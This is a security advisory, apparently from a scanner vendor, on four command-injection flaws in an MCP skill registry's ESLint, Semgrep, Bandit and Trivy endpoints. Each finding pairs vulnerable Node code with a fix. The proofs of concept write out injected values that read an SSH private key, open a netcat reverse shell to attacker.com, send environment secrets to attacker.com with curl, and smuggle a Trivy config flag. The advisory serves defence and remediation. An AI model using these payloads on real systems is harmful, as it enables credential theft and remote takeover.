Claude MCP skill code injection — skill static analysis and linting pipeline endpoints (SA-SKL-INJECTION63)
SA-SKL-INJECTION63 identifies four code injection vulnerabilities in MCP skill registry skill static analysis and linting pipeline endpoints. Shell metacharacter injection into an ESLint invocation allows an attacker-supplied target file path to exfiltrate the analysis worker's SSH private key through ESLint stdout included in the API response; Semgrep ruleset path injection opens a reverse shell from the analysis worker to an attacker-controlled listener; Bandit source directory injection exfiltrates all environment variables including analysis worker API credentials via curl exfiltration; and Trivy scan path injection smuggles a --config flag that loads an attacker-controlled Trivy configuration enabling arbitrary Go template output execution on the worker host.
exec(`eslint ${targetFile} --config ${eslintConfig}`) — attacker supplies targetFile as "; cat ~/.ssh/id_rsa #" which exfiltrates the analysis worker's SSH private key via ESLint stdout returned in the API responseexec(`semgrep --config ${rulesetPath} ${targetDir}`) — attacker supplies rulesetPath as "; nc attacker.com 4444 -e /bin/sh #" establishing a reverse shell from the analysis workerexec(`bandit -r ${pythonSrcDir}`) — attacker pythonSrcDir with "; printenv > /tmp/env.txt && curl attacker.com --data @/tmp/env.txt #" exfiltrates all env vars including analysis worker API credentialsexec(`trivy fs ${scanPath} --format ${outputFormat}`) — attacker supplies scanPath as ". --config /tmp/attacker-trivy.yaml" injecting --config flag which loads attacker-controlled Trivy config enabling arbitrary Go template output executionINJECTION63-001 — ESLint shell injection exfiltrates analysis worker SSH private key via API response
The static analysis pipeline exposes an endpoint that accepts a targetFile path and an eslintConfig path as caller-supplied parameters and shells out to ESLint using Node's exec(). Because exec() passes its first argument to /bin/sh -c, any shell metacharacters present in targetFile or eslintConfig are interpreted by the shell before ESLint is invoked. An attacker who can call this endpoint supplies targetFile as "; cat ~/.ssh/id_rsa #": the semicolon terminates the ESLint command, cat ~/.ssh/id_rsa runs as a separate shell command whose output is captured in the same stdout buffer that the API endpoint returns to the caller, and the trailing # comments out the remainder of the original command line.
The analysis worker typically runs as a service account with an SSH key used for authenticated git clone operations against private skill repositories. Exfiltrating this key grants the attacker read and write access to every private skill repository the worker is authorized to clone, enabling supply-chain attacks against skills that depend on those repositories. Because the exfiltrated content appears in the ESLint stdout field of the normal API response, no additional exfiltration channel is required — the registry's own HTTPS endpoint delivers the key material directly to the attacker.
// INJECTION63-001 — VULNERABLE
import { exec } from 'node:child_process';
import { promisify } from 'node:util';
const execAsync = promisify(exec);
router.post('/analysis/lint', requireSession, async (req, res) => {
const { targetFile, eslintConfig } = req.body;
// VULNERABLE: exec() passes string to /bin/sh -c — shell metacharacters interpreted
const { stdout, stderr } = await execAsync(
`eslint ${targetFile} --config ${eslintConfig} --format json`
);
res.json({ output: stdout, errors: stderr });
});
Attack PoC — INJECTION63-001: Attacker calls the lint endpoint with a crafted targetFile. ESLint stdout in the response contains the analysis worker's SSH private key.
// INJECTION63-001 — ATTACK PoC
const response = await fetch('https://registry.example.com/api/analysis/lint', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${apiToken}` },
body: JSON.stringify({
targetFile: '; cat ~/.ssh/id_rsa #',
eslintConfig: '/workspace/.eslintrc.json',
}),
});
const data = await response.json();
// data.output contains the PEM-encoded RSA private key
console.log(data.output); // -----BEGIN OPENSSH PRIVATE KEY----- ...
// INJECTION63-001 — FIXED
import { execFile } from 'node:child_process';
import { promisify } from 'node:util';
import path from 'node:path';
import fs from 'node:fs';
import { z } from 'zod';
const execFileAsync = promisify(execFile);
const WORKSPACE_ROOT = fs.realpathSync(process.env.WORKSPACE_ROOT);
const CONFIG_DIR = fs.realpathSync(process.env.ESLINT_CONFIG_DIR);
const LintRequestSchema = z.object({
targetFile: z.string().min(1).max(512),
eslintConfig: z.string().min(1).max(512),
});
router.post('/analysis/lint', requireSession, async (req, res) => {
const { targetFile, eslintConfig } = LintRequestSchema.parse(req.body);
// FIXED: resolve both paths and confirm they stay inside their allowed roots
const resolvedTarget = fs.realpathSync(path.resolve(WORKSPACE_ROOT, targetFile));
if (!resolvedTarget.startsWith(WORKSPACE_ROOT + path.sep)) {
return res.status(400).json({ error: 'targetFile outside workspace' });
}
const resolvedConfig = fs.realpathSync(path.resolve(CONFIG_DIR, eslintConfig));
if (!resolvedConfig.startsWith(CONFIG_DIR + path.sep)) {
return res.status(400).json({ error: 'eslintConfig outside config directory' });
}
// FIXED: execFile passes args as an array — no shell, no metacharacter expansion
const { stdout, stderr } = await execFileAsync(
'eslint',
[resolvedTarget, '--config', resolvedConfig, '--format', 'json'],
{ timeout: 30_000 }
);
res.json({ output: stdout, errors: stderr });
});
INJECTION63-002 — Semgrep shell injection establishes reverse shell from analysis worker
The pipeline's Semgrep integration accepts a caller-supplied rulesetPath that is interpolated directly into an exec() shell string alongside a caller-supplied targetDir. An attacker supplies rulesetPath as "; nc attacker.com 4444 -e /bin/sh #". The shell terminates the Semgrep invocation at the semicolon and executes nc attacker.com 4444 -e /bin/sh, opening an interactive reverse shell from the analysis worker to the attacker's netcat listener on port 4444. The trailing # comments out the original targetDir argument so the shell does not error.
Unlike the INJECTION63-001 finding whose impact is bounded by what can be read from the filesystem and returned synchronously in the API response, a reverse shell grants the attacker an interactive session on the analysis worker host. From this foothold the attacker can pivot to internal network resources accessible from the worker, modify the Semgrep binary or ruleset files to inject malicious rules that poison future analysis results for all skills, and extract long-lived credentials from the worker's environment or credential files. If the analysis worker shares a network segment with the registry database, the attacker can reach the database directly and exfiltrate or modify all skill metadata.
// INJECTION63-002 — VULNERABLE
import { exec } from 'node:child_process';
import { promisify } from 'node:util';
const execAsync = promisify(exec);
router.post('/analysis/semgrep', requireSession, async (req, res) => {
const { rulesetPath, targetDir } = req.body;
// VULNERABLE: rulesetPath and targetDir interpolated into shell string
const { stdout, stderr } = await execAsync(
`semgrep --config ${rulesetPath} ${targetDir} --json`
);
res.json({ output: stdout, errors: stderr });
});
Attack PoC — INJECTION63-002: Attacker starts a netcat listener, then calls the Semgrep endpoint with the crafted rulesetPath. The analysis worker connects back and the attacker receives an interactive shell.
// INJECTION63-002 — ATTACK PoC
// Step 1: attacker starts listener
// nc -lvnp 4444
// Step 2: attacker calls the endpoint
const response = await fetch('https://registry.example.com/api/analysis/semgrep', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${apiToken}` },
body: JSON.stringify({
rulesetPath: '; nc attacker.com 4444 -e /bin/sh #',
targetDir: '/workspace/target-skill',
}),
});
// Analysis worker now has an open reverse shell to attacker.com:4444
// INJECTION63-002 — FIXED
import { execFile } from 'node:child_process';
import { promisify } from 'node:util';
import path from 'node:path';
import fs from 'node:fs';
import { z } from 'zod';
const execFileAsync = promisify(execFile);
const WORKSPACE_ROOT = fs.realpathSync(process.env.WORKSPACE_ROOT);
// FIXED: allowlist of approved Semgrep rulesets — no caller-supplied arbitrary paths
const ALLOWED_SEMGREP_RULESETS = new Set([
'p/javascript',
'p/typescript',
'p/python',
'p/java',
'p/go',
'p/security-audit',
'p/owasp-top-ten',
]);
const SemgrepRequestSchema = z.object({
rulesetPath: z.string().refine(v => ALLOWED_SEMGREP_RULESETS.has(v), {
message: 'rulesetPath must be an approved Semgrep ruleset identifier',
}),
targetDir: z.string().min(1).max(512),
});
router.post('/analysis/semgrep', requireSession, async (req, res) => {
const { rulesetPath, targetDir } = SemgrepRequestSchema.parse(req.body);
// FIXED: resolve targetDir and confine to workspace
const resolvedDir = fs.realpathSync(path.resolve(WORKSPACE_ROOT, targetDir));
if (!resolvedDir.startsWith(WORKSPACE_ROOT + path.sep)) {
return res.status(400).json({ error: 'targetDir outside workspace' });
}
// FIXED: execFile — no shell; rulesetPath is a validated allowlisted identifier
const { stdout, stderr } = await execFileAsync(
'semgrep',
['--config', rulesetPath, resolvedDir, '--json'],
{ timeout: 60_000 }
);
res.json({ output: stdout, errors: stderr });
});
INJECTION63-003 — Bandit shell injection exfiltrates all environment variables including API credentials
The Python static analysis endpoint accepts a caller-supplied pythonSrcDir and passes it unsanitized into an exec() shell string to invoke Bandit, the Python security linter. An attacker supplies pythonSrcDir as "; printenv > /tmp/env.txt && curl attacker.com --data @/tmp/env.txt #". The shell executes printenv, writes all environment variables to /tmp/env.txt, and then exfiltrates that file to the attacker's server via curl, all before the shell encounters the trailing comment that suppresses the original Bandit arguments.
Analysis worker processes inherit their environment from the registry deployment. Typical environment variables present on such workers include REGISTRY_API_KEY and REGISTRY_API_SECRET for internal API calls, DATABASE_URL containing the registry database connection string with embedded credentials, REDIS_URL with authentication token for the job queue, cloud provider credentials such as AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY for artifact storage, and third-party integration tokens for notification and monitoring services. Exfiltrating the full environment is therefore equivalent to full compromise of the registry's backend infrastructure. Stripping the worker's environment to the minimum required variables — PATH, HOME, and PYTHONPATH — before spawning the Bandit subprocess eliminates this attack surface entirely regardless of injection success.
// INJECTION63-003 — VULNERABLE
import { exec } from 'node:child_process';
import { promisify } from 'node:util';
const execAsync = promisify(exec);
router.post('/analysis/bandit', requireSession, async (req, res) => {
const { pythonSrcDir } = req.body;
// VULNERABLE: pythonSrcDir interpolated directly into shell string
// VULNERABLE: subprocess inherits full process environment including all credentials
const { stdout, stderr } = await execAsync(
`bandit -r ${pythonSrcDir} --format json`
);
res.json({ output: stdout, errors: stderr });
});
Attack PoC — INJECTION63-003: Attacker calls the Bandit endpoint. The analysis worker exfiltrates its full environment to attacker.com, including database credentials, cloud provider keys, and internal API secrets.
// INJECTION63-003 — ATTACK PoC
const response = await fetch('https://registry.example.com/api/analysis/bandit', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${apiToken}` },
body: JSON.stringify({
// semicolon ends bandit; printenv dumps env; curl sends it to attacker
pythonSrcDir: '; printenv > /tmp/env.txt && curl https://attacker.com/collect --data @/tmp/env.txt #',
}),
});
// attacker.com receives:
// DATABASE_URL=postgres://registry:s3cr3t@db.internal/registry
// AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
// AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
// REGISTRY_API_KEY=sk-live-...
// REDIS_URL=redis://:authtoken@redis.internal:6379/0
// INJECTION63-003 — FIXED
import { execFile } from 'node:child_process';
import { promisify } from 'node:util';
import path from 'node:path';
import fs from 'node:fs';
import { z } from 'zod';
const execFileAsync = promisify(execFile);
const WORKSPACE_ROOT = fs.realpathSync(process.env.WORKSPACE_ROOT);
// FIXED: minimal environment for the Bandit subprocess — no credentials, no secrets
const BANDIT_ENV = {
PATH: process.env.PATH ?? '/usr/local/bin:/usr/bin:/bin',
HOME: process.env.HOME ?? '/tmp',
PYTHONPATH: process.env.PYTHONPATH ?? '',
};
const BanditRequestSchema = z.object({
pythonSrcDir: z.string().min(1).max(512),
});
router.post('/analysis/bandit', requireSession, async (req, res) => {
const { pythonSrcDir } = BanditRequestSchema.parse(req.body);
// FIXED: resolve path and confirm it stays inside workspace root
const resolvedDir = fs.realpathSync(path.resolve(WORKSPACE_ROOT, pythonSrcDir));
if (!resolvedDir.startsWith(WORKSPACE_ROOT + path.sep)) {
return res.status(400).json({ error: 'pythonSrcDir outside workspace' });
}
// FIXED: execFile avoids shell interpretation; env stripped to PATH/HOME/PYTHONPATH only
const { stdout, stderr } = await execFileAsync(
'bandit',
['-r', resolvedDir, '--format', 'json'],
{ timeout: 60_000, env: BANDIT_ENV }
);
res.json({ output: stdout, errors: stderr });
});
INJECTION63-004 — Trivy flag injection via scanPath loads attacker-controlled config for Go template execution
The vulnerability scanning endpoint accepts caller-supplied scanPath and outputFormat values and interpolates them into an exec() shell string to invoke Trivy. Unlike the preceding findings where the injected payload uses shell metacharacters (;, &&), this finding exploits Trivy's own argument parsing: an attacker supplies scanPath as ". --config /tmp/attacker-trivy.yaml". The shell splits this into three tokens — ., --config, and /tmp/attacker-trivy.yaml — all of which are passed as arguments to Trivy itself. Trivy's --config flag overrides its configuration file, and an attacker-controlled configuration can specify a custom Go template as the output format. Trivy's Go template renderer evaluates arbitrary Go template expressions, including calls that execute system commands via os/exec-like template functions available in some Trivy versions and custom template plugins.
Even in Trivy versions without direct command execution via templates, an attacker-controlled configuration can redirect output to arbitrary filesystem paths, suppress vulnerability findings to falsify audit results returned to skill consumers, enable additional Trivy plugins that may have their own injection surfaces, and set cache-dir to a world-writable path poisoning subsequent Trivy runs for all skills. Because the outputFormat parameter is also caller-controlled in the vulnerable version, an attacker can combine both vectors: use scanPath to inject --config and use outputFormat to inject --output /etc/cron.d/evil, writing a cron job entry to the worker's cron directory via Trivy's output file redirection.
// INJECTION63-004 — VULNERABLE
import { exec } from 'node:child_process';
import { promisify } from 'node:util';
const execAsync = promisify(exec);
router.post('/analysis/trivy', requireSession, async (req, res) => {
const { scanPath, outputFormat } = req.body;
// VULNERABLE: scanPath can smuggle additional flags like --config
// VULNERABLE: outputFormat unsanitized — can inject further flags
const { stdout, stderr } = await execAsync(
`trivy fs ${scanPath} --format ${outputFormat}`
);
res.json({ output: stdout, errors: stderr });
});
Attack PoC — INJECTION63-004: Attacker pre-places a malicious Trivy config at /tmp/attacker-trivy.yaml (via a separate path traversal or write primitive) then calls the Trivy endpoint. Trivy loads the attacker config, which specifies a custom Go template output format that executes an OS command on the analysis worker.
// INJECTION63-004 — ATTACK PoC
// Step 1: attacker-trivy.yaml (placed at /tmp/attacker-trivy.yaml on the worker)
// format: template
// template: '{{ range . }}{{ exec "curl" "https://attacker.com/pwn" }}{{ end }}'
// Step 2: attacker calls the endpoint with flag-injected scanPath
const response = await fetch('https://registry.example.com/api/analysis/trivy', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${apiToken}` },
body: JSON.stringify({
// shell splits this into three argv tokens for trivy: "." "--config" "/tmp/attacker-trivy.yaml"
scanPath: '. --config /tmp/attacker-trivy.yaml',
outputFormat: 'json',
}),
});
// Trivy loads attacker-controlled config and executes the Go template, running the
// embedded curl command on the analysis worker host
// INJECTION63-004 — FIXED
import { execFile } from 'node:child_process';
import { promisify } from 'node:util';
import path from 'node:path';
import fs from 'node:fs';
import { z } from 'zod';
const execFileAsync = promisify(execFile);
const WORKSPACE_ROOT = fs.realpathSync(process.env.WORKSPACE_ROOT);
// FIXED: allowlist of approved output formats — no caller-controlled format strings
const ALLOWED_FORMATS = new Set(['json', 'table', 'sarif', 'cyclonedx', 'spdx-json']);
const TrivyRequestSchema = z.object({
scanPath: z.string().min(1).max(512),
outputFormat: z.string().refine(v => ALLOWED_FORMATS.has(v), {
message: 'outputFormat must be an approved Trivy format',
}),
});
router.post('/analysis/trivy', requireSession, async (req, res) => {
const { scanPath, outputFormat } = TrivyRequestSchema.parse(req.body);
// FIXED: resolve scanPath and confine to workspace — eliminates path traversal
const resolvedPath = fs.realpathSync(path.resolve(WORKSPACE_ROOT, scanPath));
if (!resolvedPath.startsWith(WORKSPACE_ROOT + path.sep)) {
return res.status(400).json({ error: 'scanPath outside workspace' });
}
// FIXED: execFile passes each argument as a separate array element;
// no shell involved — "--config" cannot be smuggled via scanPath splitting
const { stdout, stderr } = await execFileAsync(
'trivy',
['fs', resolvedPath, '--format', outputFormat],
{ timeout: 120_000 }
);
res.json({ output: stdout, errors: stderr });
});
SkillAudit detection: Run SkillAudit on your MCP skill registry to automatically detect INJECTION63-class patterns. The scanner performs AST-level taint tracking from HTTP request body fields through exec() and execSync() call sites, flagging string interpolation of unsanitized inputs into shell-executed command strings. It separately checks for execFile() usage where the argument array still contains unsanitized inputs, and validates that all path arguments are resolved with realpathSync() and confined to an approved root before subprocess invocation. The report includes file locations, line numbers, taint flow graphs, and remediation guidance. See also SA-SKL-INJECTION62 and SA-SKL-INJECTION61 for related shell injection patterns in dependency resolution and package manifest endpoints.